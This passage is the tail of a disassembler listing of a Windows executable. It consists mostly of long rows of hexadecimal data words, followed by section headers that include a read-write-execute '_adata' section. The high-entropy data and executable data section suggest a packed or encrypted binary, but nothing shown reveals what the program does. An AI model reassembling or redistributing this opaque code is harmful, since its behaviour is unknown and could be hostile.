9C71FF1h, 0EAAF0F96h dd 47BA2E05h, 2D799749h, 0CFB9D8E7h, 2DA532D2h, 0AAEE9859h dd 0AD5A2BD3h, 5684E3C2h, 572C69D0h, 0D1A5A45Ch, 393CB0DFh dd 0B22929BCh, 95CC646Dh, 0AA4EA231h, 0E46B1904h, 59902A03h dd 0A5811D72h, 0CE018EBAh, 0B553F44Eh, 0EAD4FCB1h, 0E9BCF154h dd 55F89882h, 0B2A5881Dh, 88421884h, 14D9A43Eh, 1731DF1h dd 0BB232B59h, 596C8863h, 16BBE25Ch, 49A8F73Ch, 0D17F28CEh dd 0CA1299F7h, 0B53900F3h, 5EFEDADh, 9AF4F816h, 21DDEAD4h dd 528F2108h, 0B6EF8C95h, 7615294Bh, 0A9F1D57Eh, 0D42932C8h dd 65450B5h, 0DA5C1CAh, 610A732Ah, 4BCBD43Ah, 79DE6B6Bh dd 84974F06h, 338B066Ch, 57D809C8h, 6436A027h, 0D82BD454h dd 8F2C919Fh, 5C614E4Ah, 2858E266h, 7EF7A7AAh, 0E67B84D1h dd 0F49B0532h, 0E102D4A3h, 698647CFh, 3B3DBCFBh, 2A8A1FE1h dd 0D3ECA1A5h, 2130560Dh, 0CC12F7EEh, 0E52EB228h, 833E9E6Eh dd 1F89E700h, 0D2149A5Fh, 8A652D86h, 36FE91FEh, 4A3D745h dd 0BF865CFCh, 7F8B72D3h, 212F703Ah, 0DC996A71h, 9114326Fh dd 0CC9121B0h, 293FA3EFh, 0D821F0EDh, 0C447189Bh, 54910AE7h dd 2FEF14AAh, 91F60AFCh, 4B22D9F5h, 0C73BF8E5h, 0CBF1DED8h dd 0A4929863h, 3C00FD86h, 75FB117Dh, 2D107C01h, 5F4DDB8Ah dd 0A598BEA7h, 3D77A8F2h, 698A0184h, 3860C5F5h, 0BA41C3F5h dd 0FE4C6BBDh, 385256F2h, 0BEA062E0h, 0B3A19B44h, 6742FA6Dh dd 0F3720964h, 494B6CE4h, 73440ED4h, 760B7ED9h, 105C8B45h dd 0EB2612C0h, 0E325BFD9h, 0D04CD3DAh, 14620A9Bh, 518CF7BDh dd 2A35B586h, 32C831A3h, 0DBF99630h, 6993A7E7h, 9B26882Ch dd 40025154h, 0A6FBA146h, 53489871h, 48DA2D7Fh, 6195A8C4h dd 7BAD50B4h, 0EF3ECCC8h, 0E53905A0h, 0BBE5ADD3h, 7BDAD125h dd 5E22977Bh, 3A9B54ADh, 4DF8BB10h, 9310A62Bh, 31C8DC9Eh dd 0DC095B52h, 0A9BE8FF7h, 0FDF94243h, 12AC4B7h, 0C2C54493h dd 852F5712h, 871C97DFh, 0B8836AD4h, 0E09603ADh, 73BC4781h dd 2C9CF5B3h, 233902C1h, 44578A6Eh, 18E75FEh, 3877806Bh dd 194641A6h, 53FFED03h, 0D801F5EFh, 8B07DCF0h, 81B66D59h dd 2F53B84Bh, 0ACE04C9Bh, 0B430FF56h, 7443EE95h, 3F91C0C1h dd 4A7088C9h, 11B3E2E0h, 9CBAA7C1h, 7E64D7C6h, 7B3A57C5h dd 2A2BEF10h, 9A13F585h, 0EA521151h, 83A7F66Dh, 0A412567Dh dd 739B0E1Bh, 54B6C984h, 2A88D0E1h, 74A44CE7h, 18C2C5CCh dd 0B37F8C9Ch, 375CCBB2h, 0DB13863Eh, 72578FFEh, 0DD9009DAh dd 9388047Bh, 0CE16D8B5h, 0B336233Dh, 0C837E000h, 1DACD6DFh dd 2D92C49Ah, 0A728F5B1h, 0E7E28FDEh, 0CB796C21h, 12C0D8E2h dd 9FB1924Ah, 470EEE01h, 818FAFF8h, 68FDE32Bh, 44072A36h dd 3A3DF3DDh, 809D658Ah, 4C93BA15h, 34815C40h, 7009C61h dd 891A88D9h, 95FC2002h, 0DE204A55h, 581CD3D0h, 48CBABC5h dd 928CCFC2h, 88766673h, 0BDD55800h, 0F2E3932h, 0D039A1A9h dd 0D57D536Eh, 95729EAEh, 868C420Ah, 4285CF50h, 94C5308h dd 9CF3CFAh, 0B61C74C2h, 54014F55h, 51BA3F51h, 0EB0B6C79h dd 0B846D09Fh, 0C6CF45B5h, 8C099BFBh, 4BEF8ACh, 0BFCF2783h dd 538C6537h, 39151E52h, 0C9871D4Fh, 1AACC71Fh, 0C891AF0Ah dd 0F375FA57h, 0CAD95171h, 1ED6934Fh, 0FE948458h, 0CE1FAB58h dd 256EDBDCh, 80FAA6FAh, 1B53F51Ah, 0C92AA1E1h, 737D3176h dd 0A15FD82Eh, 82A8153Fh, 0DDE6A226h, 0AE961EB9h, 3BB74C92h dd 88DBEAEAh, 0BC16D123h, 26AA44C9h, 6101770Fh, 66BBDEA9h dd 235959E2h, 584ADF2Fh, 191A1247h, 0E3EE2FF6h, 18CFC383h dd 0BAA94612h, 0C8A116D5h, 0B486EF5Ch, 0E43DADE5h, 0F5DCAAF5h dd 0F4FEF9B4h, 0D97D16D1h, 9FF97AA6h, 8D06885Fh, 0B2A5ED36h dd 22CE9C5h, 308A308Dh, 0D9EA61CBh, 8FEDBB98h, 2A5C023Eh dd 43EE2550h, 0BD5BB219h, 8DDD6665h, 7A4C40EEh, 6BC18C91h dd 657F8485h, 81461EE3h, 0E8C473CEh, 82E551F2h, 0A2FFFA61h dd 0D17D8F8Ch, 51A9D7A9h, 132D896Dh, 27CBF4B0h, 0F6815A38h dd 64897C05h, 1ED0196h, 0EA141DC6h, 896BAD42h, 0A44FAD10h dd 4914F550h, 33914A66h, 311204B5h, 7876EFDh, 4C9BE776h dd 0E4CF2385h, 0E22A052h, 0D101B658h, 426B1607h, 0CA76F961h dd 0B1A7DA24h, 0D57EA60Fh, 0C5CDCFE3h, 99D8726Bh, 4B0BFF1Ch dd 17413D23h, 0C084A7E6h, 0F77F8D16h, 0CB34ADEh, 0F85C7C9Dh dd 1319759h, 56302891h, 5E973617h, 36255AD1h, 0B592892Fh dd 0A422C07Ch, 95DE8FBCh, 93D2D78h, 0B9B1EEB9h, 11893988h dd 8FA05A7Bh, 861E39B6h, 0F6FA2F09h, 0ED5BA60Bh, 0A33195Ch dd 4C650375h, 22779E8Fh, 89DE1D8Bh, 4F382685h, 84C4018Ah dd 0AABE0391h, 8DEF21C5h, 35D10AAFh, 80B8B371h, 38F64D2Ch dd 771428E3h, 0B0A55B2Bh, 9C55022Dh, 157F8FE8h, 540989B6h dd 0B305911Ch, 0E65BC3A8h, 0C1EC5FB0h, 0EFB21833h, 0E7BF0F6Fh dd 691F02h, 1B432D3Bh, 0BB8CFCB1h, 0F055997Ah, 7A744A14h dd 324F550h, 0FE8C6BE9h, 5AE7F6B3h, 787D174Eh, 54E674B4h dd 369A77D8h, 0BA55AB8Ah, 82C68A12h, 5A36A6B4h, 1794CAD5h dd 29164E5Ch, 61ED4E46h, 2FBCA1FDh, 0BB8F15F8h, 6B99CED4h dd 9232817Eh, 22B7E853h, 336909A2h, 98BE68EFh, 2FF9685Fh dd 43602A75h, 1890E3D9h, 0ACF4CFFDh, 4963EC8Bh, 825E3BA6h dd 0DBF6C702h, 0C95065F3h, 54CC805h, 9C556E46h, 0EF1A21FBh dd 78E3C7D3h, 0FE1E297Bh, 8F1B4DEFh, 0F90EDB88h, 6F55807Bh dd 70759826h, 90D040FBh, 22D3EFAEh, 95A30F14h, 3E8C793Bh dd 6BEBA4B6h, 3B429DDEh, 7C68FA7Fh, 2D4C2B88h, 0B1FF20E8h dd 6D0848BBh, 0F10AAD4Eh, 0DCB7272Eh, 0D29ECB3h, 4B86F0ECh dd 0D09BE9C5h, 9D4ED4CAh, 5B633ECFh, 0E0E63321h, 31AF2B87h dd 0F7240102h, 0C6266F42h, 1DE44F47h, 776D371h, 8689E305h dd 0A241CDBBh, 0E90CCF9Eh, 0FD0CA5D4h, 0FBDEFEEEh, 68D45C00h dd 43E82E40h, 1431ED9Ch, 1117D936h, 5BA3B0B1h, 58F95F6Fh dd 99F10BA9h, 0AEA96A51h, 2165699Eh, 69D9C003h, 27D35170h dd 0C6E80F6Ah, 0E19DDEADh, 0B08F90BCh, 741A7A8h, 3736D553h dd 6355724Ah, 0D6875C24h, 5D3A5ABBh, 0AC1374CEh, 0DB8D54A5h dd 94D0B5DBh, 832D7A76h, 0D6108011h, 3E0B9E8Bh, 5087B803h dd 0FE429294h, 0F7B6BD7Fh, 36AAC2h, 0FFE043F9h, 0FC207FBEh dd 1275C839h, 6AD8111Eh, 1AFB3D7Dh, 0FEFD6B13h, 0B7BDB6CFh dd 76916854h, 10B7E25Ch, 7B133528h, 7E62067Ch, 5E49F7FBh dd 9F875C54h, 69DB8B81h, 0DA1C3863h, 0AF571C31h, 3593A90h dd 85984B76h, 3F4522DCh, 0B828A511h, 70364BC5h, 0F507775Eh dd 0FB35FAECh, 6AC034C3h, 17BE5844h, 0EB5FF7CFh, 4248D024h dd 0F7EB9592h, 97AA129Bh, 0B15F8CA5h, 7FF9C9D9h, 0C6D676E6h dd 0C7081605h, 0E604F780h, 0BF6F7CE3h, 3762B2B6h, 116F4C94h dd 934743ECh, 4CB0929h, 2083AD5Ah, 0DAD5F2A4h, 15FBED83h dd 5496922h, 1004385Eh, 0B434CA1Dh, 0EB4D7923h, 0EEE20E1Eh dd 0D4061567h, 161EFE60h dd 0B2FC6858h, 4697C436h, 51D107C5h, 0B5C9D1AFh, 87DF06B1h dd 12060146h, 0CE3B1AD6h, 0B39A6AEBh, 53FFFC6Eh, 0B1A3FE4Eh dd 2E7448F5h, 4893B456h, 68F4C8F9h, 20918316h, 0C55663FAh dd 56756E2Ah, 56C23C9h, 0BD7562AFh, 55D920A0h, 0A942566Eh dd 3FCA4A05h, 0DCC76A25h, 512CAEE9h, 165DBAC7h, 95EEC84Fh dd 4017D290h, 0AD522470h, 0DFD9D198h, 73AA2F72h, 6DF89FC7h dd 40B43B35h, 0B7754720h, 180850D2h, 0ADFFE03h, 234AABE7h dd 0F114C363h, 7742FA44h, 0F937CDA5h, 74FB09E6h, 8D5ED426h dd 29DB423Bh, 2D8F45A9h, 0FC2EDE8Fh, 0EB7F4745h, 0B2E6144Dh dd 66B4E75Ah, 8A32C402h, 0ED7CCDDEh, 25B949E0h, 0B9F66ECCh dd 85B02A3Eh, 361B24C2h, 7CA6E1DAh, 0C82A6027h, 0DA2C4C39h dd 9DBEEC26h, 1A4A5400h, 0A783AE31h, 0BAE7F5AEh, 41FBE969h dd 1F02AC69h, 0CCE56AB4h, 4DBFC570h, 0ECAF6E1Fh, 0B17B2029h dd 5F3CB35Ch, 0A212BD70h, 66584472h, 0ABF9932h, 2C279652h dd 81B2687Dh, 6EFD3370h, 0A28B1C44h, 4FF7DCF4h, 3376E2E1h dd 0A5D6D234h, 0B449708h, 0ED74C7E3h, 90F817D9h, 3C82ACD6h dd 180FE7BBh, 7E742458h, 6250CCF5h, 84D1621h, 142BB9F8h dd 386A0299h, 0CCC88E34h, 8410B77Fh, 0A5F5888Ch, 0D8AEB625h dd 4165792Dh, 71EBDD49h, 186F059Ch, 46BAB48Fh, 283AB7DAh dd 0F77997A1h, 45A3A450h, 2C5F1807h, 6B99D6F6h, 1AC833B7h dd 0D6E48867h, 0A116A39Eh, 64E584E6h, 0A21DF679h, 0CB5E8318h dd 0A31B596Ah, 2AEE2840h, 14C42C67h, 0B74CE7A6h, 0B2B3C0EDh dd 1FADDCA5h, 0C43D6350h, 9BF0C9EFh, 0EBCE7259h, 4C053D01h dd 0F414C006h, 6618CE4Fh, 3F6E92C8h, 1DD83DA0h, 389E3A05h dd 774D008Fh, 0C60EABC4h, 0BAECD7F8h, 83D668BCh, 0C8A5ECD7h dd 0D5592F4Ah, 0FFFCB469h, 0EFC81165h, 47EE5C50h, 8D93A9F0h dd 3A3C465Fh, 0A76F586Eh, 5C3DB6F4h, 0D96CCCEDh, 6E2A7332h dd 5B95CFF3h, 0D4EF7586h, 0FADACBF3h, 440D47F5h, 5AC1ED6Ah dd 0B8F35668h, 622B7960h, 7DE1366Dh, 0EA8B506Fh, 0E36671Eh dd 71679FC2h, 0AC603DD8h, 0CC917C5Ch, 0C60737CEh, 5C757782h dd 0B4105015h, 0E3B85601h, 0A4916066h, 7CB961BCh, 356DADB3h dd 0FCD9096Dh, 0D645A310h, 8651A9Eh, 0F16598A6h, 6496487Ch dd 0C40CC557h, 20A55C7Ch, 0C86203BAh, 0BA91037Dh, 0F8258009h dd 55F8BDC3h, 0E035AE33h, 951E7732h, 0D283185Dh, 0FDCEB45Ch dd 0F94D6441h, 73BF1ADAh, 0CC565B93h, 0CF44256Dh, 1BB68FEDh dd 265CC894h, 45F47A9Bh, 1252A730h, 69E29C67h, 0FFE78890h dd 11B74E6Ch, 13D32717h, 0DDA5F335h, 0DEA236FDh, 3CCCCEBAh dd 475DBEDh, 0B5CA7CCFh, 423227E4h, 86DA9FF9h, 0E491E61Ch dd 0B2EDC491h, 694987ADh, 85188831h, 0A135198Ah, 3B01ADBEh dd 0FBCBD943h, 7FEB945Ah, 0AACA44E9h, 7807B0A7h, 18DF6F4Dh dd 96C988AFh, 7A9E0839h, 3F6E13BDh, 0DC5EEE23h, 0E7775C0Fh dd 0C4BC9F52h, 9758690Ch, 0E45AC419h, 9F7CF8BBh, 0CA7BFDCCh dd 2F8ADB2Ah, 7534FD34h, 0FA3AB852h, 74611F28h, 1C4D8309h dd 2894F7B3h, 2794768h, 62B12566h, 234823CEh, 1833D44Dh dd 82CE076Ch, 1886811h, 30D2A449h, 8E5F3AB1h, 62182CD5h dd 3BBC41Ah, 9C16B051h, 983F003h, 88014652h, 6939B387h dd 0CD0094BDh, 39177728h, 57F256E9h, 17645562h, 0BB43984Eh dd 0B9FFD005h, 0B31E8776h, 0F24F1EA6h, 0C7EE61DFh, 7F58B865h dd 2BCC9D14h, 426D7D7Eh, 3BF551EAh, 0DF9A03DBh, 11E9A237h dd 0C36722F4h, 0B2D151E4h, 93FA54FCh, 68AA5A83h, 41D73FEAh dd 0E846D6A0h, 0F88D53A5h, 36DC9AEDh, 0FC7EBCD8h, 2894E515h dd 0B6FBC70Ah, 8152A227h, 0C555C2F8h, 0C8B44E41h, 89331807h dd 751BE5A8h, 0AD8BE8FFh, 9D8DB0CFh, 67A64050h, 0E3F6D4BDh dd 0B9DBC2A0h, 7247BE4Dh, 88C33D5Eh, 4BC4AD3Bh, 3FAE7CB7h dd 156D743h, 25E754C5h, 84A6C00Ah, 46B2E9ACh, 0D5FFA9E0h dd 0CB0ED82Ah, 0FFF7E003h, 0F0E048B0h, 4EBC2383h, 6F825C7Ch dd 6637F8BFh, 8EBAA45Ah, 0EE103DC8h, 0AF0A72BDh, 7538A3F1h dd 4A9D8B94h, 43E9CE13h, 0B986A7FEh, 0E25D9EF6h, 4946FBCh dd 0DFBA9B33h, 0D0A28D15h, 0C1319D5Dh, 23594199h, 0A724213Ch dd 0D1F338F0h, 39EB5298h, 0DF0A7A17h, 650EA17Bh, 5A0FBF78h dd 0AD7F345Ch, 18EA92F1h, 0DA865A08h, 49B52760h, 94407E5Eh dd 0A736F1C5h, 4049EAD6h, 0D2F7EC8h, 58D20BB9h, 897DB9D7h dd 307A4245h, 9B6A4FCFh, 93464AC2h, 84CDF60Dh, 0C38D6BABh dd 3D6A7574h, 5A9782E6h, 0DBEFCF7Eh, 52F9705Ah, 0F3D65171h dd 0A81B51BCh, 90BB239h, 0C8096DE5h, 0B811F796h, 72BC1848h dd 0F69FB6E9h, 0EA2A6816h, 8324D360h, 0B8022A9Fh, 8E20DA78h dd 0D3BD65C2h, 54514F6Ah, 8DF07035h, 0A24E9675h, 1E6A9949h dd 74C39734h, 8B303B88h, 4790375Eh, 0CDD178F5h, 8589465h dd 4FD59E93h, 429D11B7h, 2D6DD6ECh, 47000D5Bh, 0EFF98DFEh dd 9B088788h, 4F68B16h, 824CE9A8h, 0A79DBC14h, 85EC99F3h dd 6B8E7B89h, 0EA37A41Eh, 0B14BF073h, 2886EDD2h, 0A90E1401h dd 0F503A4F3h, 436E060Dh, 0A48334C0h, 0ADD35E51h, 291B4561h dd 1DDAF625h, 446BCD20h, 30B1AB52h, 634EFA79h, 197DD030h dd 383F366Fh, 3602BC77h, 2C4AF7D8h, 6BE299A0h, 0C934FBD6h dd 0D3C50302h, 7F5FA2F9h, 0A4E958ADh, 0C15907D8h, 542CD56Fh dd 0B03D9E17h, 7592C44Fh, 0A24970AFh, 9FBA2F4Bh, 0F1C6D2C6h dd 0B9864B83h, 53048E8Bh, 54E921ABh, 57F8B802h, 68B65173h dd 0CB0C86A5h, 5E98D929h, 90088A78h, 0F77106Eh, 97D74D05h dd 0DFE053DAh, 0B7F19CBDh, 5B8852D4h, 7F8794C5h, 0F4311EC2h dd 9E6CD0A7h, 3F31B94Fh, 0AE5D519Bh, 0B11F08C5h, 626B6D37h dd 0E4AB4917h, 0D9ADE685h, 94D8A85Dh, 52A3EE3h, 0DBED4A45h dd 12A29B33h, 0E845659Ch, 6E619AFh, 0D9B2AB00h, 9B759179h dd 532B4EB3h, 5695DFDDh, 98F260B7h, 4895DFDEh, 97278157h dd 3AAAA19h, 46BEF4F0h, 5D9160h, 0F755ED00h, 6FF2C4C2h dd 57AC71ADh, 8DBAE8EBh, 3E3E0C77h, 81D86087h, 0D7D3B10Ch dd 22C9A58Fh, 0F3FA5F81h, 58B3D23Fh, 657F6758h, 4302F3F2h dd 70B34E3Dh, 74DBE856h, 4D893620h, 3762DBDCh, 0B57FD995h dd 0E3C44196h, 83551595h, 4A1E6E48h, 62960776h, 292BBBD8h dd 8EF8B548h, 0B4CA3713h, 0A27F507Ah, 304AEAAFh, 7A76F7CFh dd 9090ADB4h, 1E3E1AA2h, 3C07851Fh, 0C6E25C7Ch, 0C85E9FE5h dd 0E7881AFAh, 0DA20CF44h, 569E6E07h, 712A757h, 70F1CF56h dd 0CF62160Ch, 627E3A44h, 0A6AE9C5Dh, 741EEEF5h, 9D212DFh dd 68FEBACFh, 0A28AFAA1h, 0EBEFD43Ch, 8AE36357h, 177547BEh dd 86805CD5h, 0FAB7EF5Dh, 62A3F8E4h, 443B0651h, 5C1BE35Ch dd 0E3683910h, 96E8858Bh, 0D8E45B9Eh, 0A1CBB0FEh, 0F3C09D39h dd 1488ED89h, 0C26B5947h, 3114499Eh, 748170A1h, 0A080B809h dd 0E2603328h, 37BC10DEh, 9A97DDA3h, 0CB2B80D4h, 1CA502h dd 21FDB0D9h, 795354D7h, 0DB6D5F03h, 0B3EC7035h, 8BB592CCh dd 0ED8FFACBh, 0BFE863A6h, 5C4CBD65h, 329247CDh, 94EA20AAh dd 0FD28FB80h, 0E069834h, 0E349F775h, 0B2EFA4F3h, 0A6D26CAEh dd 7D7058E9h, 6DC0DA92h, 2B4A7327h, 40DB395Ch, 0F7971427h dd 8C41A0D8h, 6EF3EB73h, 0BBAF9773h, 4B701199h, 0DEA9E191h dd 6765546Dh, 6168E147h dd 0BB0631A3h, 0D39A924Bh, 6EC947B5h, 0C0F8034Ch, 0F0A96615h dd 98A67189h, 362729B2h, 0A361E8C3h, 0E82620D3h, 0D847775h dd 0C0959139h, 0F8DAF169h, 0E0EABC90h, 0AE3F478Dh, 496ABE40h dd 0CB0D6128h, 5041F675h, 8E649C53h, 396D078Fh, 2C39CAC9h dd 0CE785AD3h, 3B34C002h, 15024571h, 256984A1h, 0A17AED9h dd 0B3D2F436h, 6F5D4C61h, 0A6A61743h, 0B20B6B3Bh, 5977E3A2h dd 0D4B251B9h, 7C24AE2Eh, 6FD824E6h, 0DB9C15C0h, 0BF646568h dd 386F8780h, 0C9CDFDB4h, 2C30587Dh, 8534DB9Bh, 24A261A2h dd 1F2D1917h, 69C137ECh, 4874BE73h, 3490EDFCh, 936206C6h dd 0D6B768F4h, 0E6353FB0h, 0F2F940A4h, 0FB2E3377h, 0C3773906h dd 0EC762466h, 73BA400Bh, 0D4DA5B86h, 300h dup(0) _data ends ; Section 6. (virtual address 00026000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00026000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 426000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 400h dup(0) _adata ends ; Section 7. (virtual address 00027000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00027000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 427000h align 2000h _idata2 ends end start